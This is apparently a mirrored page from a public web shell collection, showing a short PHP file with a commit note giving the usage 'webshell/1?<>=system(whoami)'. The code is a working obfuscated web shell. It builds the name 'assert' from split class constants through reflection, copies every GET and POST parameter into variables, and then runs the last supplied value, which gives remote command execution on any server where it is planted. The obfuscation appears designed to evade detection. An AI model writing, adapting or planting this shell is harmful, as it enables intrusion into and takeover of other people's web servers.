mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
a6546d03ee
use: xxx/webshell/1?<>=system(whoami) from : https://xz.aliyun.com/t/8684
24 lines
426 B
PHP
24 lines
426 B
PHP
<?php
|
|
|
|
class Test
|
|
{
|
|
const a = array(1=>'aS',2=>'se',3=>'rT');
|
|
|
|
public function __construct()
|
|
{
|
|
}
|
|
}
|
|
|
|
$refl = new ReflectionClass('Test');
|
|
|
|
foreach ($refl->getConstants() as $key => $value) {
|
|
foreach ($value as $key => $value1) {
|
|
$value2.=$value1;
|
|
}
|
|
}
|
|
foreach (array('_POST','_GET') as $_request) {
|
|
foreach ($$_request as $_key=>$_value) {
|
|
$$_key= $_value;
|
|
}
|
|
}
|
|
$value2($_value);
|